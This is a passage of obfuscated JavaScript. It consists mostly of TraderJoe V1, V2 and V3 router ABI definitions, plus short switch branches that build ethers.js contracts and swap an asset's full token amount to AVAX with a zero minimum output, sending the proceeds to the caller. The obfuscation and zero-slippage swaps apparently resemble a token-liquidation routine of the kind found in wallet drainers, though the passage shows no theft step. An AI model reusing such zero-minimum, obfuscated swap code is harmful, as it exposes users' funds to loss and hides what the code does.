}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityAVAX",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityAVAXWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapAVAXForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAX",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactAVAX",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x1b4aba = new ethers.Contract(_0x2b7b1b, _0x4bcdc6, _0x9d9505);
let _0x50426c = await _0x1b4aba.WAVAX();
let _0x3c1aa0 = [];
_0x3c1aa0[0] = _0x4f37a4.asset.token;
_0x3c1aa0[1] = _0x50426c;
return [_0x1b4aba.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, _0x3c1aa0, this.caller, _0x1b1427), _0x50426c];
}
case "TraderJoeV2":
{
let _0x5b80ea = [{
inputs: [{
internalType: "contract ILBFactory",
name: "_factory",
type: "address"
}, {
internalType: "contract IJoeFactory",
name: "_oldFactory",
type: "address"
}, {
internalType: "contract IWAVAX",
name: "_wavax",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [{
internalType: "uint256",
name: "bp",
type: "uint256"
}],
name: "BinHelper__BinStepOverflows",
type: "error"
}, {
inputs: [],
name: "BinHelper__IdOverflows",
type: "error"
}, {
inputs: [],
name: "JoeLibrary__InsufficientAmount",
type: "error"
}, {
inputs: [],
name: "JoeLibrary__InsufficientLiquidity",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}],
name: "LBRouter__AmountSlippageCaught",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "LBRouter__BinReserveOverflows",
type: "error"
}, {
inputs: [],
name: "LBRouter__BrokenSwapSafetyCheck",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "currentTimestamp",
type: "uint256"
}],
name: "LBRouter__DeadlineExceeded",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "LBRouter__FailedToSendAVAX",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "idDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}],
name: "LBRouter__IdDesiredOverflows",
type: "error"
}, {
inputs: [{
internalType: "int256",
name: "id",
type: "int256"
}],
name: "LBRouter__IdOverflows",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "uint256",
name: "activeId",
type: "uint256"
}],
name: "LBRouter__IdSlippageCaught",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
name: "LBRouter__InsufficientAmountOut",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "wrongToken",
type: "address"
}],
name: "LBRouter__InvalidTokenPath",
type: "error"
}, {
inputs: [],
name: "LBRouter__LengthsMismatch",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
name: "LBRouter__MaxAmountInExceeded",
type: "error"
}, {
inputs: [],
name: "LBRouter__NotFactoryOwner",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "tokenX",
type: "address"
}, {
internalType: "address",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}],
name: "LBRouter__PairNotCreated",
type: "error"
}, {
inputs: [],
name: "LBRouter__SenderIsNotWAVAX",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "LBRouter__SwapOverflows",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "excess",
type: "uint256"
}],
name: "LBRouter__TooMuchTokensIn",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "reserve",
type: "uint256"
}],
name: "LBRouter__WrongAmounts",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "tokenX",
type: "address"
}, {
internalType: "address",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "msgValue",
type: "uint256"
}],
name: "LBRouter__WrongAvaxLiquidityParameters",
type: "error"
}, {
inputs: [],
name: "LBRouter__WrongTokenOrder",
type: "error"
}, {
inputs: [],
name: "Math128x128__LogUnderflow",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "x",
type: "uint256"
}, {
internalType: "int256",
name: "y",
type: "int256"
}],
name: "Math128x128__PowerUnderflow",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "prod1",
type: "uint256"
}, {
internalType: "uint256",
name: "denominator",
type: "uint256"
}],
name: "Math512Bits__MulDivOverflow",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "prod1",
type: "uint256"
}, {
internalType: "uint256",
name: "offset",
type: "uint256"
}],
name: "Math512Bits__MulShiftOverflow",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "offset",
type: "uint256"
}],
name: "Math512Bits__OffsetOverflows",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "x",
type: "uint256"
}],
name: "SafeCast__Exceeds128Bits",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "x",
type: "uint256"
}],
name: "SafeCast__Exceeds40Bits",
type: "error"
}, {
inputs: [],
name: "TokenHelper__CallFailed",
type: "error"
}, {
inputs: [],
name: "TokenHelper__NonContract",
type: "error"
}, {
inputs: [],
name: "TokenHelper__TransferFailed",
type: "error"
}, {
inputs: [{
components: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "int256[]",
name: "deltaIds",
type: "int256[]"
}, {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ILBRouter.LiquidityParameters",
name: "_liquidityParameters",
type: "tuple"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256[]",
name: "depositIds",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "liquidityMinted",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "contract IERC20",
name: "tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}, {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "int256[]",
name: "deltaIds",
type: "int256[]"
}, {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ILBRouter.LiquidityParameters",
name: "_liquidityParameters",
type: "tuple"
}],
name: "addLiquidityAVAX",
outputs: [{
internalType: "uint256[]",
name: "depositIds",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "liquidityMinted",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "_tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "_tokenY",
type: "address"
}, {
internalType: "uint24",
name: "_activeId",
type: "uint24"
}, {
internalType: "uint16",
name: "_binStep",
type: "uint16"
}],
name: "createLBPair",
outputs: [{
internalType: "contract ILBPair",
name: "pair",
type: "address"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "contract ILBFactory",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "_LBPair",
type: "address"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "getIdFromPrice",
outputs: [{
internalType: "uint24",
name: "",
type: "uint24"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "_LBPair",
type: "address"
}, {
internalType: "uint24",
name: "_id",
type: "uint24"
}],
name: "getPriceFromId",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "_LBPair",
type: "address"
}, {
internalType: "uint256",
name: "_amountOut",
type: "uint256"
}, {
internalType: "bool",
name: "_swapForY",
type: "bool"
}],
name: "getSwapIn",
outputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "feesIn",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract ILBPair",
name: "_LBPair",
type: "address"
}, {
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "bool",
name: "_swapForY",
type: "bool"
}],
name: "getSwapOut",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "feesIn",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "oldFactory",
outputs: [{
internalType: "contract IJoeFactory",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "_tokenX",
type: "address"
}, {
internalType: "contract IERC20",
name: "_tokenY",
type: "address"
}, {
internalType: "uint16",
name: "_binStep",
type: "uint16"
}, {
internalType: "uint256",
name: "_amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountYMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "_token",
type: "address"
}, {
internalType: "uint16",
name: "_binStep",
type: "uint16"
}, {
internalType: "uint256",
name: "_amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountAVAXMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
}, {
internalType: "address payable",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "removeLiquidityAVAX",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountOut",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapAVAXForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountOutMinAVAX",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address payable",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAX",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountOutMinAVAX",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address payable",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactTokensForTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountAVAXOut",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountInMax",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address payable",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapTokensForExactAVAX",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amountOut",
type: "uint256"
}, {
internalType: "uint256",
name: "_amountInMax",
type: "uint256"
}, {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
}, {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_deadline",
type: "uint256"
}],
name: "swapTokensForExactTokens",
outputs: [{
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IERC20",
name: "_token",
type: "address"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "sweep",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract ILBToken",
name: "_lbToken",
type: "address"
}, {
internalType: "address",
name: "_to",
type: "address"
}, {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
}],
name: "sweepLBToken",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "wavax",
outputs: [{
internalType: "contract IWAVAX",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0x3adab4 = new ethers.Contract(_0x2b7b1b, _0x5b80ea, _0x9d9505);
let _0xc2e22e = await _0x3adab4.wavax();
let _0x43a4d9 = [];
_0x43a4d9[0] = _0x4f37a4.asset.token;
_0x43a4d9[1] = _0xc2e22e;
return [_0x3adab4.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, [0], _0x43a4d9, this.caller, _0x1b1427), _0xc2e22e];
}
case "TraderJoeV3":
{
let _0x194195 = [{
inputs: [{
internalType: "contract ILBFactory",
name: "factory",
type: "address"
}, {
internalType: "contract IJoeFactory",
name: "factoryV1",
type: "address"
}, {
internalType: "contract ILBLegacyFactory",
name: "legacyFactory",
type: "address"
}, {
internalType: "contract ILBLegacyRouter",
name: "legacyRouter",
type: "address"
}, {
internalType: "contract IWNATIVE",
name: "wnative",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "AddressHelper__CallFailed",
type: "error"
}, {
inputs: [],
name: "AddressHelper__NonContract",
type: "error"
}, {
inputs: [],
name: "JoeLibrary__InsufficientAmount",
type: "error"
}, {
inputs: [],
name: "JoeLibrary__InsufficientLiquidity",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountSlippage",
type: "uint256"
}],
name: "LBRouter__AmountSlippageBPTooBig",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountXMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountX",
type: "uint256"
}, {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountY",
type: "uint256"
}],
name: "LBRouter__AmountSlippageCaught",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "LBRouter__BinReserveOverflows",
type: "error"
}, {
inputs: [],
name: "LBRouter__BrokenSwapSafetyCheck",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint256",
name: "currentTimestamp",
type: "uint256"
}],
name: "LBRouter__DeadlineExceeded",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "recipient",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "LBRouter__FailedToSendNATIVE",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "idDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}],
name: "LBRouter__IdDesiredOverflows",
type: "error"
}, {
inputs: [{
internalType: "int256",
name: "id",
type: "int256"
}],
name: "LBRouter__IdOverflows",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
}, {
internalType: "uint256",
name: "activeId",
type: "uint256"
}],
name: "LBRouter__IdSlippageCaught",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
name: "LBRouter__InsufficientAmountOut",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "wrongToken",
type: "address"
}],
name: "LBRouter__InvalidTokenPath",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "version",
type: "uint256"
}],
name: "LBRouter__InvalidVersion",
type: "error"
}, {
inputs: [],
name: "LBRouter__LengthsMismatch",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amountInMax",
type: "uint256"
}, {
internalType: "uint256",
name: "amountIn",
type: "uint256"
}],
name: "LBRouter__MaxAmountInExceeded",
type: "error"
}, {
inputs: [],
name: "LBRouter__NotFactoryOwner",
type: "error"
}, {
inputs: [{
internalType: "address",
name: "tokenX",
type: "address"
}, {
internalType: "address",
name: "tokenY",
type: "address"
}, {
internalType: "uint256",
name: "binStep",
type: "uint256"
}],
name: "LBRouter__PairNotCreated",
type: "error"
}, {
inputs: [],
name: "LBRouter__SenderIsNotWNATIVE",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "LBRouter__SwapOverflows",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "excess",
type: "uint256"
}],
name: "LBRouter__TooMuchTokensIn",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "reserve",
type: "uint256"
}],
name: "LBRouter__WrongAmounts",
type: "error"
}, {
inputs: [{
